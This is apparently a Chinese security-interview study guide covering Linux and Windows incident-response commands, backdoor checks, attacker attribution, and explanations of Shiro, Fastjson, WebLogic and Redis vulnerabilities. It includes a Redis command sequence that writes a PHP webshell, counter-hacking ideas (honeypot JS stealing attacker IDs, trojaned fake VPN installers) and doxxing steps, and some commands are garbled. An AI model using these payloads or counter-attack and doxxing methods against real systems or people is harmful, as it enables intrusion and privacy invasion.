    开始 —> 所有程序 —> 管理工具 —> 事件查看器 —> Windows 日志 —> 应用程序 —> 右键属性 —> 启用日志最大大小

日志分析工具(LogParser)

日志解析器是微软开发的一个强大的多功能工具,它提供对基于文本的数据(例如日志文件、XML 文件和 CSV 文件)以及 Windows® 操作系统上的关键数据源(例如事件日志、注册表、文件系统和 Active Directory。

下载地址:https://www.microsoft.com/en-us/download/details.aspx?id=24659

下载完毕安装后,将其中的文件 LogParser.exe 复制到 C:\Windows\System32 文件夹中或者添加到系统环境变量中。

  • 查询登陆成功的事件

    1
    2
    3
    4
    5
    6
    # 登录成功的所有事件
    LogParser.exe -i:EVT –o:DATAGRID "SELECT * FROM c:\Security.evtx where EventID=4624"
    # 指定登录时间范围的事件
    LogParser.exe -i:EVT –o:DATAGRID "SELECT * FROM c:\Security.evtx where TimeGenerated>'2018-06-19 23:32:11' and TimeGenerated<'2018-06-20 23:34:00' and EventID=4624"
    # 提取登录成功的用户名和IP
    LogParser.exe -i:EVT –o:DATAGRID "SELECT EXTRACT_TOKEN(Message,13,' ') as EventType,TimeGenerated as LoginTime,EXTRACT_TOKEN(Strings,5,'|') as Username,EXTRACT_TOKEN(Message,38,' ') as Loginip FROM c:\Security.evtx where EventID=4624"

查询登陆失败的事件

1
2
3
4
# 登录失败的所有事件
LogParser.exe -i:EVT –o:DATAGRID "SELECT * FROM c:\Security.evtx where EventID=4625"
# 提取登录失败用户名进行聚合统计
LogParser.exe -i:EVT "SELECT EXTRACT_TOKEN(Message,13,' ') as EventType,EXTRACT_TOKEN(Message,19,' ') as user,count(EXTRACT_TOKEN(Message,19,' ')) as Times,EXTRACT_TOKEN(Message,39,' ') as Loginip FROM c:\Security.evtx where EventID=4625 GROUP BY Message"

查询系统历史开关机记录

1
LogParser.exe -i:EVT –o:DATAGRID  "SELECT TimeGenerated,EventID,Message FROM c:\System.evtx where EventID=6005 or EventID=6006"

相关工具

PCHunter:PC Hunter 是一个 Windows 系统信息查看软件,同时也是一个手工杀毒辅助软件。

下载地址:https://www.anxinsec.com/view/antirootkit/

问二十:Linux 系统应急排查

Linux 系统信息

启动项、定时任务和历史命令、系统用户、入侵排查

  • 启动项

    • 系统运行级别

      | 运行级别 | 含义 |
      | ———— | —————————————————————————————— |
      | 0 | 关机 |
      | 1 | 单用户模式,可以理解为 winodws 的安全模式,用于系统修复,比如更改密码 |
      | 2 | 不完全的命令行模式,不包含 NFS 等服务 |
      | 3 | 完全的命令行模式,就是标准字符界面 |
      | 4 | 系统保留 |
      | 5 | 图形模式 |
      | 6 | 重启 |

      查看系统运行级别:runlevel

      修改系统默认运行级别:

      1
      2
      $ vim /etc/inittab
      id=3: initdefault

开机启动配置

在 CentOS 中,init 程序会读取 /etc/inittab 来完成初始化工作,/etc/inittab 主要指定运行级别,执行系统初始化脚本 /etc/rc.d/rc.sysinit

开机启动配置文件:

1
2
3
4
/etc/rc.local
/etc/rc.d/init.d
/etc/rc.d/rc.local
/etc/rc.d/rc[0~6].d
  • 添加开机启动脚本

    要开机启动对应的脚本,只需要将可执行脚本丢在 /etc/init.d/ 目录下,然后 /etc/rc.d/rc*.d 中建立软链接即可:ln -s /etc/init.d/sshd /etc/rc.d/rc3.d/S100ssh

    S 开头代表加载时自启动;如果是 K 开头的脚本文件,代表运行级别加载时需要关闭的。

  • 定时任务和历史命令

    • 定时任务

      以下目录是否存在恶意脚本:

      1
      2
      3
      4
      5
      6
      7
      8
      9
      /var/spool/cron/* 
      /etc/crontab
      /etc/cron.d/*
      /etc/cron.daily/*
      /etc/cron.hourly/*
      /etc/cron.monthly/*
      /etc/cron.weekly/
      /etc/anacrontab
      /var/spool/anacron/*

历史命令

通过.bash_history 查看账号执行过的系统命令:

1
2
3
$ history
# 或者
$ more .bash_history
  • 清除历史命令:history -c

  • 系统用户

    • 用户信息

      用户信息文件 /etc/passwd

      1
      2
      $ root:x:0:0:root:/root:/bin/bash
      $ account:password:UID:GID:GECOS:directory:shell

影子账户 /etc/shadow

1
2
$ root:$6$oGs1PqhL2p3ZetrE$X7o7bzoouHQVSEmSgsYN5UD4.kMHx6qgbTqwNVC5oOAouXvcjQSt.Ft7ql1WpkopY0UV9ajBwUt1DpYxTCVvI/:16809:0:99999:7:::
用户名:加密密码:密码最后一次修改日期:两次密码的修改时间间隔:密码有效期:密码修改到期到的警告天数:密码过期之后的宽限天数:账号失效时间:保留
    • who:查看当前登录用户 (tty 本地登录,pts 远程登录)

      w:查看系统信息

      uptime:查看登录多久、多少用户

  • 入侵排查

    • 查看启动项文件:more /etc/rc.local /etc/rc.d/rc[0~6].d ls -l /etc/rc.d/rc3.d/
  • 查询特权用户:awk -F: 'c194a9eg1}' /etc/passwd

  • 查询可疑远程登录的账号信息:`awk ‘/$1|$6/{print c194a9eg

  • 查看除 root 帐号外,其他帐号是否存在 sudo 权限:more /etc/sudoers | grep -v "^#\|^end-inline-katex-->" | grep "ALL=(ALL)"

  • 禁用或删除多余及可疑的帐号:

    usermod -L user:禁用帐号,帐号无法登录,/etc/shadow 第二栏为 ! 开头。

    userdel user:删除 user 用户。

    userdel -r user:将删除 user 用户,并且将 /home 目录下的 user 目录一并删除。

端口和进程

端口、进程

  • 端口

    • 查看端口:netstat -antlp | more

      查看 pid 对应的进程文件路径:

      1
      2
      3
      $ ls -l /proc/$PID/exe
      # 或
      $ file /proc/$PID/exe

查看连接

1
2
$ netstat -antlp | grep ESTABLISHED
$ netstat -antlp | grep LISTEN

进程

  • 查看进程:`ps aux | grep c194a9eg

  • 隐藏进程查看:

    1
    2
    3
    $ ps -ef | awk '{print}' | sort -n | uniq >1
    $ ls /proc | sort -n |uniq >2
    $ diff 1 2

查看相关文件和路径

1
2
$ lsof -p [PID]
$ pwdx [PID]

服务

服务管理、入侵排查

  • 服务管理

    • 使用 chkconfig 或者 systemctl 可以设置服务自启
    • 修改 /etc/re.d/rc.local 加入 /etc/init.d/servername start 也可实现自启
  • 入侵排查

    • CentOS 查询已安装的服务

      1
      2
      3
      4
      5
      6
      7
      8
      $ chkconfig  --list # 查看服务自启动状态
      $ ps aux | grep crond # 查看当前服务

      # 系统在3与5级别下的启动项
      # 中文环境
      $ chkconfig --list | grep "3:启用\|5:启用"
      # 英文环境
      $ chkconfig --list | grep "3:on\|5:on"
    • 源码安装的服务

      搜索 /etc/rc.d/init.d 目录,查看是否存在。

文件分析

查找、查看文件创建修改时间、访问时间、文件权限 ACL

  • 查找

    • 找出 /opt 下一天前访问过的文件:find /opt -iname "*" -atime 1 -type f
    • 查找一天内被修改的 jsp 文件:find ./ -mtime 0 -name "*.jsp"
    • 查看 72 小时内新增的文件:find / -ctime -2
    • 查看 777 权限的文件:findd / *.jsp -perm 4777
    • 查看更改时间:stat [文件]
  • 查看文件创建修改时间、访问时间

    1
    2
    $ ls -alt /bin/* | head -n 5
    $ stat /usr/bin/lsof
  • 文件权限 ACL

    获取文件权限:getfacl 1.cap

    添加文件权限:setfacl

日志分析

日志目录、日志分析、软件卸载安装日志

  • 日志目录

    • 日志默认存放位置:/var/log 日志配置情况:more /etc/rsyslog.conf

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      /var/log/cron #记录了系统定时任务相关的日志
      /var/log/cups #记录打印信息的日志
      /var/log/dmesg #记录了系统在开机时内核自检的信息,也可以使用dmesg命令直接查看内核自检信息
      /var/log/mailog #记录邮件信息
      /var/log/message #记录系统重要信息的日志。这个日志文件中会记录Linux系统的绝大多数重要信息,如果系统出现问题时,首先要检查的就应该是这个日志文件
      /var/log/btmp #记录错误登录日志,这个文件是二进制文件,不能直接vi查看,而要使用lastb命令查看
      /var/log/lastlog #记录系统中所有用户最后一次登录时间的日志,这个文件是二进制文件,不能直接vi,而要使用lastlog命令查看
      /var/log/wtmp #永久记录所有用户的登录、注销信息,同时记录系统的启动、重启、关机事件。同样这个文件也是一个二进制文件,不能直接vi,而需要使用last命令来查看
      /var/log/utmp #记录当前已经登录的用户信息,这个文件会随着用户的登录和注销不断变化,只记录当前登录用户的信息。同样这个文件不能直接vi,而要使用w,who,users等命令来查询
      /var/log/secure #记录验证和授权方面的信息,只要涉及账号和密码的程序都会记录,比如SSH登录,su切换用户,sudo授权,甚至添加用户和修改用户密码都会记录在这个日志文件中

日志分析

  • ssh 查看 IP 爆破主机 root 账号情况

    1
    2
    3
    4
    # 定位IP
    $ grep "Failed password for root" /var/log/secure | awk '{print $11}' | sort | uniq -c | sort -
    # 查看爆破的字典
    $ grep "Failed password" /var/log/secure|perl -e 'while($_=<>){ /for(.*?) from/; print "$1\n";}'| uniq -c | sort -nr

查看登录成功的 IP

1
2
3
$ grep "Accepted " /var/log/secure | awk '{print $11}' | sort | uniq -c | sort -nr | more
# 登录成功的日期、用户名、IP:
$ grep "Accepted " /var/log/secure | awk '{print $1,$2,$3,$9,$11}'

用户操作

1
2
3
4
# 添加用户
$ grep "useradd" /var/log/secure
# 删除用户
$ grep "userdel" /var/log/secure
  • 软件卸载安装日志:more /var/log/yum.log

病毒查杀工具

  • 查杀 Rootkit:chkrootkit、rkhunter

  • 病毒查杀:clamav

    • 升级病毒库:end-inline-katex--> /opt/clamav/bin/freshclam

    • 扫描所有用户的主目录:`c194a9eg

    • 扫描 bin 目录并且显示有问题的文件的扫描结果:end-inline-katex--> ./clamscan -r --bell -i /bin

    • 扫描:

      1
      2
      3
      $ clamscan -r /etc --max-dir-recursion=5 -l /root/etcclamav.log
      $ clamscan -r /bin --max-dir-recursion=5 -l /root/binclamav.log
      $ clamscan -r /usr --max-dir-recursion=5 -l /root/usrclamav.log

扫描并杀毒:

1
2
3
$ clamscan -r --remove  /usr/bin/bsd-port
$ clamscan -r --remove /usr/bin/
$ clamscan -r --remove /usr/local/zabbix/sbi

扫描并杀毒:

1
2
3
$ clamscan -r  --remove  /usr/bin/bsd-port
$ clamscan -r --remove /usr/bin/
$ clamscan -r --remove /usr/local/zabbix/sbi
    • 查看日志发现:`c194a9eg

问二十一:常见windows系统后门排查

  1. 工具列表: Pchunter 恶意代码检测工具
  2. 后门排查思路:
    注册表启动项
    恶意进程
    系统服务
    网络连接
    计划任务
  3. 思路一: Shift 粘滞键后门
    检查 C:\Windows\sysytem32\sethc.exe 或者 按 5 下 Shift 键
  4. 思路二:NTFS(ADS)数据流(后门或者 WebShell)
    检查方法:
    \1. 使用 “dir \r” 检查目标目录中是否存在使用 NTFS 数据流隐藏的文件 2. 如果存在,就使用 “notpad 文件名:NTFS 隐藏文件名” 来查看隐藏的文件的内容是什么。 dir /r /s 连带子目录的文件一起检查
  5. 思路三:系统日志 查看是否存在恶意登陆情况 1. 使用 Logparser 格式化后进行分析 2. 直接打开 winodws 控制面板 - 管理工具 - 事件查看器进行分析,比如我们要筛选是否存在。 3389 rdp 暴力破解行为的话,只要在 “安全” 日志中筛选事件 ID 为 4624(登陆成功)和 4625 (登陆失败)

问二十二:常见linux系统后门排查

  1. 检查异常帐号 cat /etc/passwd
  2. 检查异常登陆: who 查看当前登陆用户 (tty 本地登陆、pts 远程登陆) w 查看当前系统信息,想知道某一刻用户的行为 last 列出所有用户登陆信息 lastb 列出所有用户登陆失败的信息 lastlog 列出所有用户最近一次登陆信息
  3. 查看历史命令: cat ~/.bash_history
  4. 网络连接: netstat -pant1
  5. 查看进程: ps -ef | more 锁定实际运行程序的符号链接 ls -la /prc//exe lsof -p
  6. 计划任务: crontab -l 列出计划任务列表 crontab -e 编辑计划任务,当计划任务出现不可字符时,需要此命令才能看到具体信息 ls -la /var/spool/cron/ 查看计划任务文件 more /etc/crontab
  7. 系统启动项: more /etc/rc.local ls -l /etc/rc.d/rc[0~6].d 优先看 rc3.d more /etc/ld.so.preload linux 动态链接库
  8. 系统日志: /var/log/secure SSH 登陆日志、su 切换用户日志,只要涉及帐号和密码的程序都会记录 /var/log/message 记录系统重要信息的日志,这个日志文件中会记录 Linux 系统的绝大多数重要信息 /var/log/cron 计划任务日志 /var/log/wtmp 记录所有用户的登录、注销信息,同时记录系统的启动、重启、关机事件,这个文件是二进制文件用 last
  9. Rootkit 查杀: chkrootkit rkhunter

问二十三:溯源技巧

对外溯源:确认攻击者的真实身份

对内溯源:确认攻击者的行为 对内溯源 对内主要是溯源攻击者的行为,如果攻击者已经攻击成功了,攻击者肯定要上传攻击工具的,看一下他上传的什么工具。第一时间对其进行阻断,把 shell 先暂时干掉。干掉的同时,再去看外部日志 Apache 日志。通过攻击者上传 shell 的时间和攻击 IP,去索引搜索整个日志,然后看攻击者做了哪些请求,如果是 Get 请求可以看对方请求的一个资源、地址以及请求的内容;如果说是 Post 请求,攻击者应该是做了一些上传的操作,但是具体上传了什么东西,是不知道的,只能看到一个上传数据包, 不过可以通过防火墙去下载该完整的数据包,进行分析。 再之后,就进入了应急响应的一个流程。 对外溯源 通过监测设备上面确定攻击 IP,确定是攻击者发起的请求,那么就通过这个 IP 确定域名,通过该域名查找到关于攻击者注册域名的一些相关信息。通常会有 QQ 账号、QQ 邮箱等个人真实信息,再借助这些有效信息去社工。

通常情况下,接到溯源任务时,获得的信息如下:

1
2
3
4
5
6
攻击时间
攻击 IP
预警平台
攻击类型
恶意文件
受攻击域名/IP

其中攻击 IP、攻击类型、恶意文件、攻击详情是溯源入手的点。

通过攻击类型分析攻击详情的请求包,看有没有攻击者特征,通过获取到的 IP 地址进行威胁情报查询来判断所用的 IP 具体是代理 IP 还是真实 IP 地址。

如端口扫描大概率为个人 vps 或空间搜索引擎,在接到大量溯源任务时可优先溯源。

如命令执行大概率为未经任何隐匿的网络、移动网络、接到脚本扫描任务的肉鸡,在接到大量溯源任务时可优先溯源。

如爬虫大概率为空间搜索引擎,可放到最后溯源。

如恶意文件可获得 c2 地址、未删除的带有敏感信息的代码(如常用 ID、组织信息)、持续化控制代码(C2 地址指在 APT 攻击里的命令与控制,若获取到 C2 地址可以使我们的溯源目标更有针对性)

持续化控制代码需要详细分析,如采用 DGA 域名上线的方法,分析出域名算法,预测之后的域名可有效减少损失,增加溯源面。

攻击痕迹清晰

  • 安全设备分析(若有)
  • 系统日志分析

目的:获取对方攻击的时间节点,攻击方式,获取病毒文件,拿到攻击者的虚拟身份,最后攻击者复现

攻击痕迹不清晰

进行漏洞挖掘

相关人员询问

问二十四:溯源反制

在发现资产被攻击之后,防守方需要及时进行溯源和排查,通常情况下,溯源需要获取到目标攻击者的一部分个人信息,比如手机号,邮箱,QQ 号,微信号等,通过这些信息在互联网可以进一步追溯攻击者的画像。

  • 比如拿到数据:
1
2
3
4
5
6
7
8
9
web攻击事件-11
攻击时间: 2021-08-17 09:09:99
攻击IP : 49.70.0.xxx
预警平台:天眼/绿盟/ibm/长亭waf

攻击类型: 植入后门文件
处置方式: 封禁需溯源
目标域名: 10.0.0.1
www.baidu.com
  • 流程

1、针对 IP 通过开源情报 + 开放端口分析查询

首先通过威胁情报平台确认攻击 ip 是否为威胁 ip,常用的平台通常有如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
https://x.threatbook.cn/ 微步在线威胁情报社区
https://ti.qianxin.com/ 奇安信威胁情报中心
https://ti.360.cn/ 360威胁情报中心
https://www.venuseye.com.cn/
VenusEye威胁情报中心

// 域名反查
站长之家IP查询网址:https://ip.tool.chinaz.com/ipbatch
IP138查询网:https://www.ip138.com/
高精度IP定位:https://www.opengps.cn/Data/IP/LocHighAcc.aspx
IP信息查询:https://www.ipip.net/ip.html/
IP地址查询在线工具:https://tool.lu/ip/
多地Ping检测:http://ping.chinaz.com/
Whois查询:https://whois.chinaz.com/

当发现 IP 的为攻击 IP 后,可以尝试通过此 IP 去溯源攻击者,具体实现过程通常会用到下述方法:

  1. ip 反查域名
  2. 域名查 whois 注册信息
  3. 域名查备案信息、反查邮箱、反查注册人 http://whoissoft.com/
  4. 邮箱反查下属域名
  5. 注册人反查下属域名

然后,在端口:我们可以可查看一些开放服务进行进一步利用

再通过 nmap 对开放端口进行识别

1
nmap -p 3389,3306,6378 -Pn IP
7001/7002 WebLogic 控制台 反序列化、控制台弱口令
3389 RDP 远程端口连接 shift 后门、爆破、ms12-020、CVE-2019-0708
6379 Redis 数据库 可尝试为授权访问、弱口令爆破
27017/27018 MongoDB 数据库 爆破、未授权访问
3306 Mysql 数据库 注入、提权、爆破
1521 Oracle 数据库 TNS 爆破、注入、反弹 shell
53 DNS 域名服务器 允许区域传送、DNS 劫持、缓存投毒、欺骗、CVE-2020-1350
21 FTP 文件传输协议 允许匿名的上传、下载、爆破和嗅探操作
22 SSH 远程连接 爆破、SSH 隧道及内网代理转发、文件传输
23 Telnet 远程连接 爆破、嗅探、弱口令
25 SMTP 邮件服务 邮件伪造

2、查询定位

通过蜜罐等设备获取真实 IP,对 IP 进行定位,可定位具体位置。

定位 IP 网站:https://www.opengps.cn/Data/IP/ipplus.aspx

3、得到常用 ID 信息收集:

(1) 百度信息收集:“id” (双引号为英文)

(2) 谷歌信息收集

(3) src 信息收集(各大 src 排行榜,如果有名次交给我套路)

(4) 微博搜索(如果发现有微博记录,可使用 tg 查询 weibo 泄露数据)

(5) 微信 ID 收集:微信进行 ID 搜索(直接发钉钉群一起查)

(6) 如果获得手机号(可直接搜索支付宝确定目标姓氏、淘宝找回密码确定目标名字、社交账户等)

注意:获取手机号如果自己查到的信息不多,直接上报企业微信 / 钉钉群(利用共享渠道对其进行二次社工)

(7) 豆瓣 / 贴吧 / 知乎 / 脉脉 你能知道的所有社交平台,进行信息收集

4、预警设备信息取证:

上方数据一无所获,可考虑对其发起攻击的行为进行筛查,尝试判断其是否有指纹特征。

如看看不能上传 webshell ,在 webshell 中植入 probe.js,在 webshell 中增加 canvas 探针,获取 CPU,主板什么信息,如果对方用的 chrome 的话,并存在 Chrome UAF 0day ,CS 免杀客户端获得微信 ID

5、跳板机信息收集(触发):

进入红队跳板机查询相关信息

如果主机桌面没有敏感信息,可针对下列文件进行信息收集

last:查看登录成功日志

cat ~/.bash_history :查看操作指令

ps -aux #查看进程

查看是否有类似 ID 的用户

重点关注 uid 为 500 以上的登录用户

nologin 为不可登录

注意:手机号、昵称 ID 均为重点数据,如查不到太多信息,直接上报指挥部。

  • 附:

    • 攻击者上传了恶意程序的话:

      如果攻击者在恶意攻击过程中对目标资产上传攻击程序(如后门、恶意脚本、钓鱼程序等),我们可通过对攻击者上传的恶意程序进行分析,并通过 IP 定位等技术手段对攻击进行分析溯源,常用的恶意程序分析网站有:

    1
    2
    3
    4
    5
    微步在线云沙箱:https://s.threatbook.cn/
    腾讯哈勃:https://habo.qq.com/
    Virustotal:https://www.virustotal.com/gui/home/upload
    火眼:https://fireeye.ijinshan.com
    魔盾安全分析:https://www.maldun.com/analysis/
    • 如果攻击者被蜜罐捕获的话:

      蜜罐技术本质上是一种对攻击方进行欺骗的技术,通过布置一些作为诱饵的主机、网络服务或者信息,诱使攻击方对它们实施攻击,从而可以对攻击行为进行捕获和分析,了解攻击方所使用的工具与方法,推测攻击意图和动机,能够让防御方清晰地了解他们所面对的安全威胁,并通过技术和管理手段来增强实际系统的安全防护能力。

      • 蜜罐溯源的两种常见方式:

        一种是在伪装的网站上插入特定的 js 文件,该 js 文件使用攻击者浏览器中缓存的 cookies 去对各大社交系统的 JSONP、XSS、CSRF 接口获取攻击者的 ID 和手机号等。另一种是在伪装的网站上显示需要下载某插件,该插件一般为反制木马,控制了攻击者的主机后查询敏感文件、浏览器访问记录等个人敏感信息从而锁定攻击者。

问二十五:邮件钓鱼如何反制

我们防守的客户单位就收到了钓鱼邮件,庆幸的是客户总体安全意识很强,加上有邮件沙箱的加持,并没有实际人员中招,而我们将计就计,部署一套虚假的内网环境,伪造钓鱼邮件中招假象,中招人员画像和机器环境编排:

名字:许晋 (jinxu)

身份:巡检职员

平时上机内容:看视频、打游戏、巡检

系统软件:Office 三件套,搜狗输入法,QQ, 微信,Xmind, 谷歌浏览器,Winrar, 迅雷,百度网盘,Everything, 爱奇艺,腾讯视频,QQ 音乐,网易云音乐,FastStone Capture….

系统环境:除了部署一些常见的系统软件,我们还要创建一系列工作文档(手工伪造、由客户提供非敏感公开数…),并在众多的工作文档中携带了我们部署的免杀后门(伪装成 VPN 安装包或办公软件)。

目的:点开钓鱼邮件的附件,假装中招后,让攻击者在翻当前 PC 机器的时候寻找到我们投下的假密码本,并结合 VPN 安装包,使得攻击者下载 VPN 安装包并进行安装,从而进行反向控制。

三、漏洞相关

问二十六:打点一般会用什么漏洞

优先以 java 反序列化这些漏洞像 shiro,fastjson,weblogic,用友 oa 等等进行打点,随后再找其他脆弱性易打进去的点。

因为 javaweb 程序运行都是以高权限有限运行,部分可能会降权。

问二十七: 描述外网打点的流程?

靶标确认、信息收集、漏洞探测、漏洞利用、权限获取。最终的目的是获取靶标的系统权限 / 关键数据。在这个过程中,信息收集最为重要。掌握靶标情报越多,后续就会有更多的攻击方式去打点。比如:钓鱼邮件、web 漏洞、边界网络设备漏洞、弱口令等。

问二十八:什么是钓鱼网站?

网络钓鱼攻击者利用欺骗性的电子邮件和伪造的 Web 站点来进行诈骗活动,受骗者往往会泄露自己的财务数据,如信用卡号、帐户用户名和口令等内容。诈骗者通常会将自己伪装成知名银行、在线零售商和信用卡公司等可信的站点,在所有接触诈骗信息的用户中,有高达 5% 的人都会对这些骗局做出响应 。

问二十九:你漏洞利用过没?

有一个 redis 的未授权访问漏洞,redis 在默认的情况下会绑定在 0.0.0.0:6379, 如果防火墙没有做策略限制,则外网可以访问到 redis 上,如果没有设置 redis 密码(默认为空),会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据(这对于用于验证码码来说威胁很大),而且攻击者在未授权访问 Redis 的情况下,可以利用 Redis 自身的提供的 config 命令像目标主机写 WebShell、写 SSH 公钥、创建计划任务反弹 Shell 等。

问三十:常见的中间件漏洞有那些?

IIS

1
PUT漏洞、短文件名猜解、远程代码执行、解析漏洞

Apache

1
解析漏洞、目录遍历

Nginx

1
文件解析、目录遍历、CRLF注入、目录穿越

Tomcat

1
远程代码执行、war后门文件部署

JBoss

1
反序列化漏洞、war后门文件部署

WebLogic

1
反序列化漏洞SSRF任意文件上传war后门文件部署

Apache Shiro 反序列化漏洞

1
Shiro rememberMe(Shiro-550) Shiro Padding Oracle Attack(Shiro-721)

问三十一:平常怎么去发现 Shiro 漏洞的?

Apache Shiro 是一个 Java 安全框架,执行身份验证、授权、密码和会话管理。apacheShiro 框架提供了记住我(RememberMe)的功能,关闭了浏览器下次再打开时还是能记住你是谁,下次访问时无需再登录即可访问。

shiro 反序列化漏洞:shiro 在 CookieRememberMeManaer 类中将 cookie 中 rememberMe 字段内容分别进行序列化、AES 加密、Base64 编码操作。攻击者构造一个恶意的对象,并且对其序列化,AES 加密,base64 编码后,作为 cookie 的 rememberMe 字段发送。Shiro 将 rememberMe 进行解密并且反序列化,最终造成反序列化漏洞。

登陆失败时候会返回 rememberMe=deleteMe 字段或者使用 shiroScan 被动扫描去发现

完整:

未登陆的情况下,请求包的 cookie 中没有 rememberMe 字段,返回包 set-Cookie 里也没有 deleteMe 字段

登陆失败的话,不管勾选 RememberMe 字段没有,返回包都会有 rememberMe=deleteMe 字段

不勾选 RememberMe 字段,登陆成功的话,返回包 set-Cookie 会有 rememberMe=deleteMe 字段。但是之后的所有请求中 Cookie 都不会有 rememberMe 字段

勾选 RememberMe 字段,登陆成功的话,返回包 set-Cookie 会有 rememberMe=deleteMe 字段,还会有 rememberMe 字段,之后的所有请求中 Cookie 都会有 rememberMe 字段

shiro 有几种漏洞类型

shiro 550

shiro 721

Apache Shiro 框架提供了记住我的功能(RemeberMe),用户登录成功后会生成经过加密并编码的 cookie。cookie 的 key 为 RemeberMe,cookie 的值是经过对相关信息进行序列化,然后使用 aes 加密,最后在使用 base64 编码处理形成的

在服务端接收 cookie 值时,按以下步骤解析:

检索 RemeberMe cookie 的值

Base 64 解码

使用 ACE 解密(加密密钥硬编码)

进行反序列化操作(未作过滤处理)

在调用反序列化的时候未进行任何过滤,导致可以触发远程代码执行漏洞

用户登陆成功后会生成经过加密并编码的 cookie,在服务端接收 cookie 值后,Base64 解码 —>AES 解密 —> 反序列化。攻击者只要找到 AES 加密的密钥,就可以构造一个恶意对象,对其进行序列化 —>AES 加密 —>Base64 编码,然后将其作为 cookie 的 rememberMe 字段发送,Shiro 将 rememberMe 进行解密并且反序列化,最终造成反序列化漏洞。

问三十二:WebLogic 权限绕过的姿势?

CVE-2020-14883 是一个 Console 的未授权访问,而 CVE-2020-14883 是在利用未授权访问的前提下,在 Console 进行代码执行,于是远程攻击者可以构造特殊的 HTTP 请求,在未经身份验证的情况下接管 WebLogic Server Console ,并在 WebLogic Server Console 执行任意代码。

1、 通过静态资源来绕过权限验证,防止被重定向到登陆界面。

2、 通过请求 .portal ,控制处理的 Servlet 是渲染 UIMBeanUtilsInitSingleFileServlet

3、 通过编码后的 ../ ,让最终渲染的模版是 console.portal

综合起来,才造成了最终的未授权访问。

问三十三:Fastjson 漏洞利用原理?

在请求包里面中发送恶意的 json 格式 payload,漏洞在处理 json 对象的时候,没有对 @type 字段进行过滤,从而导致攻击者可以传入恶意的 TemplatesImpl 类,而这个类有一个字段就是_bytecodes,有部分函数会根据这个_bytecodes 生成 java 实例,这就达到 fastjson 通过字段传入一个类,再通过这个类被生成时执行构造函数。

FastJson 是一个由阿里巴巴研发的 java 库,可以把 java 对象转换为 JSON 格式,也可以把 JSON 字符串转换为对象。

通俗理解就是:漏洞利用 fastjson autotype 在处理 json 对象的时候,未对 @type 字段进行完全的安全性验证,攻击者可以传入危险类,并调用危险类连接远程 rmi 主机,通过其中的恶意类执行代码。

攻击者通过这种方式可以实现远程代码执行漏洞的利用,获取服务器的敏感信息泄露,甚至可以利用此漏洞进一步对服务器数据进行修改,增加,删除等操作,对服务器造成巨大影响。

Fastjson RCE 的本质就是在反序列化时会调用目标类的 setter 方法。以 com.sun.rowset.JdbcRowSetImpl Gadget 为例,类中的 setAutoCommit 方法中通过 connect 方法调用了 lookup 方法,且 lookup 方法的参数又能通过 setDataSourceName 方法设置,即其参数可控。那么就会导致 JNDI 注入,最终实现任意命令执行。

Java 处理 Json 格式数据有三个比较流行的类库:

  • Gson (google 维护)
  • Jackson
  • Fastjson

问三十四:简述一下Redis 未授权访问漏洞。

Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果在没有设置密码认证(一般为空),会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下,可以利用 Redis 自身的提供的 config 命令像目标主机写 WebShell、写 SSH 公钥、创建计划任务反弹 Shell 等。其思路都是一样的,就是先将 Redis 的本地数据库存放目录设置为 web 目录、~/.ssh 目录或 /var/spool/cron 目录等,然后将 dbfilename(本地数据库文件名)设置为文件名你想要写入的文件名称,最后再执行 save 或 bgsave 保存,则我们就指定的目录里写入指定的文件了。

redis 绑定在 0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源 ip 访问等相关安全策略,直接暴露在公网。 没有设置密码认证(一般为空),可以免密码远程登录 redis 服务。

1
2
3
4
config set dir /var/www/html/ 
config set dbfilename shell.php
set xxx "<?php eval($_POST[whoami]);?>"
save

问三十五:Redis 未授权访问漏洞如何利用?

服务端的 Redis 连接存在未授权,在攻击机上能用 redis-cli 直接登陆连接,并未登陆验证。 开了服务端存在 Web 服务器,并且知道 Web 目录的路径(如利用 phpinfo,或者错误爆路经),还需要具有文件读写增删改查权限。

问三十六:讲一下MongoDB 未授权访问漏洞

MongoDB 服务安装后,默认未开启权限验证。如果服务监听在 0.0.0.0,则可远程无需授权访问数据库

​ 3.0 之前版本的 MongoDB, 默认监听在 0.0.0.0,3.0 及之后版本默认监听在 127.0.0.1。

​ 3.0 之前版本,如未添加用户管理员账号及数据库账号,使用 —auth 参数启动时,在本地通过 127.0.0.1 仍可无需账号密码登陆访问数据库,远程访问则提示需认证;

​ 3.0 及之后版本,使用 —auth 参数启动后,无账号则本地和远程均无任何数据库访问权限。

问三十七:JNDI 注入是什么?

JNDI RCE 漏洞产生的原因就在于当我们在注册 RMI 服务时,可以指定 Codebase url,也就是远程要加载类的位置,设 置该属性可以让 JDNI 应用程序在加载时去寻找我们指定的类 ( 例如:http://ip:port/EvilObject.class) 。

这里还有一个比较重要的点,也是触发恶意代码的点。就是当 JNDI 应用程序通过 lookup (RMI 服务的地址) 方法调用指 定 Codebase url 上的类后,会调用被远程调用类的构造方法,所以如果我们将恶意代码放在被远程调用类的构造方法中时, 漏洞就会触发。

问三十八:讲一下WebLogic 系列漏洞

Weblogic 漏洞有哪些?

weblogic 就好多了,基于 T3 协议的反序列化;基于 xml 解析时候造成的反序列化,还有 ssrf,权限绕过等等

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
Weblogic 反序列化漏洞 CVE-2021-2394
Weblogic LDAP 远程代码执行漏洞 CVE-2021-2109
Weblogic RCE CVE-2020-14882&14883
weblogic jndi注入CVE-2020-14841
Weblogic coherence组件iiop反序列化漏洞 (CVE-2020-14644)
WebLogic UniversalExtractor反序列化漏洞 CVE-2020-14645
WebLogic CVE-2020-14756 T3IIOP反序列化RCE
Weblogic 远程代码执行漏洞 CVE-2020-2883
Weblogic CVE-2020-2551 IIOP协议反序列化rce
Weblogic反序列化漏洞 CVE-2019-2890
Weblogic反序列化远程代码执行漏洞CVE-2019-2725
Weblogic反序列化漏洞 CVE-2019-2729
Weblogic任意文件读取漏洞(CVE-2019-2615))
Weblogic 文件上传漏洞(CVE-2019-2618)
weblogic 反序列化漏洞 CVE-2018-3252
Weblogic反序列化远程代码执行漏洞 CVE-2018-3245
